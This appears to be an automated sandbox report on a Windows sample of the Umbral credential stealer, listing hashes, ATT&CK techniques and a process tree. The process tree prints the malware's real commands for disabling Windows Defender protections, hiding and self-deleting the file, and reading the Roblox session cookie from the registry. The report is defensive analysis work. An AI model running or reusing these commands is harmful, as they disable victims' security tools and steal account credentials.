umbral | 1a4e8449edc0e1f28f95ee9eaba0129264d90168797e65c47502996b15fbcde5

Analysis

max time kernel
30s
max time network
23s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
28-12-2024 16:13

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General

Target

FN_kolt_woofer.exe
Size

229KB
MD5

88e82fa4e92eaed5b089d99ca669fbd3
SHA1

c6287977d98930e7022fc1c6dfbfc4e302b724c8
SHA256

1a4e8449edc0e1f28f95ee9eaba0129264d90168797e65c47502996b15fbcde5
SHA512

5759f49a352d54c5d6be12b9f03d15757a802bde7da91f28bdac2ccc22f1afb852e3d734e54eb2e7f2129c8c4213421f991692882a15569a93430e137c1d1e7b
SSDEEP

6144:lloZM+rIkd8g+EtXHkv/iD4T6FcHdmOhyU9va6vyvb8e1mti:noZtL+EP8T6FcHdmOhyU9va6vM/

Score

10^/10

umbral discovery execution spyware stealer

Malware Config

Signatures

Detect Umbral payload 1 IoCs

resource	yara_rule
behavioral1/memory/1212-1-0x00000265831F0000-0x0000026583230000-memory.dmp	family_umbral

Umbral
Umbral stealer is an opensource moduler stealer written in C#.
stealer umbral
Umbral family
umbral

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
4896	powershell.exe
4580	powershell.exe
2592	powershell.exe
2720	powershell.exe

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\drivers\etc\hosts	FN_kolt_woofer.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
21	discord.com
22	discord.com

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
11	ip-api.com

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
1160	cmd.exe
2268	PING.EXE

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
1416	wmic.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
2268	PING.EXE

Suspicious behavior: EnumeratesProcesses 11 IoCs

pid	Process
1212	FN_kolt_woofer.exe
4896	powershell.exe
4896	powershell.exe
4580	powershell.exe
4580	powershell.exe
2592	powershell.exe
2592	powershell.exe
1512	powershell.exe
1512	powershell.exe
2720	powershell.exe
2720	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	1212	FN_kolt_woofer.exe
Token: SeIncreaseQuotaPrivilege	4028	wmic.exe
Token: SeSecurityPrivilege	4028	wmic.exe
Token: SeTakeOwnershipPrivilege	4028	wmic.exe
Token: SeLoadDriverPrivilege	4028	wmic.exe
Token: SeSystemProfilePrivilege	4028	wmic.exe
Token: SeSystemtimePrivilege	4028	wmic.exe
Token: SeProfSingleProcessPrivilege	4028	wmic.exe
Token: SeIncBasePriorityPrivilege	4028	wmic.exe
Token: SeCreatePagefilePrivilege	4028	wmic.exe
Token: SeBackupPrivilege	4028	wmic.exe
Token: SeRestorePrivilege	4028	wmic.exe
Token: SeShutdownPrivilege	4028	wmic.exe
Token: SeDebugPrivilege	4028	wmic.exe
Token: SeSystemEnvironmentPrivilege	4028	wmic.exe
Token: SeRemoteShutdownPrivilege	4028	wmic.exe
Token: SeUndockPrivilege	4028	wmic.exe
Token: SeManageVolumePrivilege	4028	wmic.exe
Token: 33	4028	wmic.exe
Token: 34	4028	wmic.exe
Token: 35	4028	wmic.exe
Token: 36	4028	wmic.exe
Token: SeIncreaseQuotaPrivilege	4028	wmic.exe
Token: SeSecurityPrivilege	4028	wmic.exe
Token: SeTakeOwnershipPrivilege	4028	wmic.exe
Token: SeLoadDriverPrivilege	4028	wmic.exe
Token: SeSystemProfilePrivilege	4028	wmic.exe
Token: SeSystemtimePrivilege	4028	wmic.exe
Token: SeProfSingleProcessPrivilege	4028	wmic.exe
Token: SeIncBasePriorityPrivilege	4028	wmic.exe
Token: SeCreatePagefilePrivilege	4028	wmic.exe
Token: SeBackupPrivilege	4028	wmic.exe
Token: SeRestorePrivilege	4028	wmic.exe
Token: SeShutdownPrivilege	4028	wmic.exe
Token: SeDebugPrivilege	4028	wmic.exe
Token: SeSystemEnvironmentPrivilege	4028	wmic.exe
Token: SeRemoteShutdownPrivilege	4028	wmic.exe
Token: SeUndockPrivilege	4028	wmic.exe
Token: SeManageVolumePrivilege	4028	wmic.exe
Token: 33	4028	wmic.exe
Token: 34	4028	wmic.exe
Token: 35	4028	wmic.exe
Token: 36	4028	wmic.exe
Token: SeDebugPrivilege	4896	powershell.exe
Token: SeDebugPrivilege	4580	powershell.exe
Token: SeDebugPrivilege	2592	powershell.exe
Token: SeDebugPrivilege	1512	powershell.exe
Token: SeIncreaseQuotaPrivilege	2604	wmic.exe
Token: SeSecurityPrivilege	2604	wmic.exe
Token: SeTakeOwnershipPrivilege	2604	wmic.exe
Token: SeLoadDriverPrivilege	2604	wmic.exe
Token: SeSystemProfilePrivilege	2604	wmic.exe
Token: SeSystemtimePrivilege	2604	wmic.exe
Token: SeProfSingleProcessPrivilege	2604	wmic.exe
Token: SeIncBasePriorityPrivilege	2604	wmic.exe
Token: SeCreatePagefilePrivilege	2604	wmic.exe
Token: SeBackupPrivilege	2604	wmic.exe
Token: SeRestorePrivilege	2604	wmic.exe
Token: SeShutdownPrivilege	2604	wmic.exe
Token: SeDebugPrivilege	2604	wmic.exe
Token: SeSystemEnvironmentPrivilege	2604	wmic.exe
Token: SeRemoteShutdownPrivilege	2604	wmic.exe
Token: SeUndockPrivilege	2604	wmic.exe
Token: SeManageVolumePrivilege	2604	wmic.exe

Suspicious use of WriteProcessMemory 26 IoCs

description	pid	Process	procid_target
PID 1212 wrote to memory of 4028	1212	FN_kolt_woofer.exe	84
PID 1212 wrote to memory of 4028	1212	FN_kolt_woofer.exe	84
PID 1212 wrote to memory of 2860	1212	FN_kolt_woofer.exe	87
PID 1212 wrote to memory of 2860	1212	FN_kolt_woofer.exe	87
PID 1212 wrote to memory of 4896	1212	FN_kolt_woofer.exe	89
PID 1212 wrote to memory of 4896	1212	FN_kolt_woofer.exe	89
PID 1212 wrote to memory of 4580	1212	FN_kolt_woofer.exe	91
PID 1212 wrote to memory of 4580	1212	FN_kolt_woofer.exe	91
PID 1212 wrote to memory of 2592	1212	FN_kolt_woofer.exe	93
PID 1212 wrote to memory of 2592	1212	FN_kolt_woofer.exe	93
PID 1212 wrote to memory of 1512	1212	FN_kolt_woofer.exe	95
PID 1212 wrote to memory of 1512	1212	FN_kolt_woofer.exe	95
PID 1212 wrote to memory of 2604	1212	FN_kolt_woofer.exe	97
PID 1212 wrote to memory of 2604	1212	FN_kolt_woofer.exe	97
PID 1212 wrote to memory of 3392	1212	FN_kolt_woofer.exe	99
PID 1212 wrote to memory of 3392	1212	FN_kolt_woofer.exe	99
PID 1212 wrote to memory of 4284	1212	FN_kolt_woofer.exe	101
PID 1212 wrote to memory of 4284	1212	FN_kolt_woofer.exe	101
PID 1212 wrote to memory of 2720	1212	FN_kolt_woofer.exe	103
PID 1212 wrote to memory of 2720	1212	FN_kolt_woofer.exe	103
PID 1212 wrote to memory of 1416	1212	FN_kolt_woofer.exe	105
PID 1212 wrote to memory of 1416	1212	FN_kolt_woofer.exe	105
PID 1212 wrote to memory of 1160	1212	FN_kolt_woofer.exe	107
PID 1212 wrote to memory of 1160	1212	FN_kolt_woofer.exe	107
PID 1160 wrote to memory of 2268	1160	cmd.exe	109
PID 1160 wrote to memory of 2268	1160	cmd.exe	109

Views/modifies file attributes 1 TTPs 1 IoCs

evasion

Hidden Files and Directories

T1564.001

pid	Process
2860	attrib.exe

C:\Users\Admin\AppData\Local\Temp\FN_kolt_woofer.exe
"C:\Users\Admin\AppData\Local\Temp\FN_kolt_woofer.exe"
1⤵
- Drops file in Drivers directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1212
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" csproduct get uuid
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:4028
- C:\Windows\SYSTEM32\attrib.exe
  "attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\FN_kolt_woofer.exe"
  2⤵
  - Views/modifies file attributes
  PID:2860
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\FN_kolt_woofer.exe'
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4896
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4580
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2592
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1512
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" os get Caption
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:2604
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" computersystem get totalphysicalmemory
  2⤵
  PID:3392
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" csproduct get uuid
  2⤵
  PID:4284
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:2720
- C:\Windows\System32\Wbem\wmic.exe
  "wmic" path win32_VideoController get name
  2⤵
  - Detects videocard installed
  PID:1416
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Local\Temp\FN_kolt_woofer.exe" && pause
  2⤵
  - System Network Configuration Discovery: Internet Connection Discovery
  - Suspicious use of WriteProcessMemory
  PID:1160
- - C:\Windows\system32\PING.EXE
    ping localhost
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    - Runs ping.exe
    PID:2268

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Remote System Discovery

T1018

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
d85ba6ff808d9e5444a4b369f5bc2730

SHA1
31aa9d96590fff6981b315e0b391b575e4c0804a

SHA256
84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

SHA512
8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
d28a889fd956d5cb3accfbaf1143eb6f

SHA1
157ba54b365341f8ff06707d996b3635da8446f7

SHA256
21e5d7ccf80a293e6ba30ed728846ca19c929c52b96e2c8d34e27cd2234f1d45

SHA512
0b6d88deb9be85722e6a78d5886d49f2caf407a59e128d2b4ed74c1356f9928c40048a62731959f2460e9ff9d9feee311043d2a37abe3bb92c2b76a44281478c

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
948B

MD5
2af06a6b36db9473e4a7d9c7ab72b70b

SHA1
8ef34b9b961e51bdd1b8d7d9db2ec1b0a4764645

SHA256
18a2aa7e245c6732f95fb7749b2b4d29007f2c56a9c5bfbc5e3c127bdfe5f158

SHA512
3495567a5d5af94ae27be51313d9e2630c52017d808042fe0d56baa34fa1d246eb15c253d14c77c77a1d8f2f1c81680e623044ae95415b095696e7fa141ac7cf

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
548dd08570d121a65e82abb7171cae1c

SHA1
1a1b5084b3a78f3acd0d811cc79dbcac121217ab

SHA256
cdf17b8532ebcebac3cfe23954a30aa32edd268d040da79c82687e4ccb044adc

SHA512
37b98b09178b51eec9599af90d027d2f1028202efc1633047e16e41f1a95610984af5620baac07db085ccfcb96942aafffad17aa1f44f63233e83869dc9f697b

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
2984662ba3f86d7fcf26758b5b76754d

SHA1
bc2a43ffd898222ee84406313f3834f226928379

SHA256
f0815f797b0c1829745dd65985f28d459688f91ceb2f3d76fed2d4309589bcde

SHA512
a06251a7a14559ebf5627a3c6b03fda9ded1d4ee44991283c824ccf5011cdf67665696d2d9b23507cbb3e3b9943b9e9f79ef28d3657eb61fb99920225417ab11

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_0omvtcex.efm.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/1212-71-0x000002659D7A0000-0x000002659D7AA000-memory.dmp

Filesize
40KB

Download
memory/1212-72-0x000002659DA70000-0x000002659DA82000-memory.dmp

Filesize
72KB

Download
memory/1212-95-0x00007FFF34EC0000-0x00007FFF35981000-memory.dmp

Filesize
10.8MB

Download
memory/1212-94-0x000002659D660000-0x000002659D762000-memory.dmp

Filesize
1.0MB

Download
memory/1212-32-0x000002659DAA0000-0x000002659DB16000-memory.dmp

Filesize
472KB

Download
memory/1212-33-0x000002659DA20000-0x000002659DA70000-memory.dmp

Filesize
320KB

Download
memory/1212-34-0x000002659D770000-0x000002659D78E000-memory.dmp

Filesize
120KB

Download
memory/1212-89-0x00007FFF34EC0000-0x00007FFF35981000-memory.dmp

Filesize
10.8MB

Download
memory/1212-2-0x00007FFF34EC0000-0x00007FFF35981000-memory.dmp

Filesize
10.8MB

Download
memory/1212-0-0x00007FFF34EC3000-0x00007FFF34EC5000-memory.dmp

Filesize
8KB

Download
memory/1212-88-0x00007FFF34EC3000-0x00007FFF34EC5000-memory.dmp

Filesize
8KB

Download
memory/1212-1-0x00000265831F0000-0x0000026583230000-memory.dmp

Filesize
256KB

Download
memory/4896-17-0x00007FFF34EC0000-0x00007FFF35981000-memory.dmp

Filesize
10.8MB

Download
memory/4896-3-0x00007FFF34EC0000-0x00007FFF35981000-memory.dmp

Filesize
10.8MB

Download
memory/4896-4-0x00007FFF34EC0000-0x00007FFF35981000-memory.dmp

Filesize
10.8MB

Download
memory/4896-10-0x000001CA20C40000-0x000001CA20C62000-memory.dmp

Filesize
136KB

Download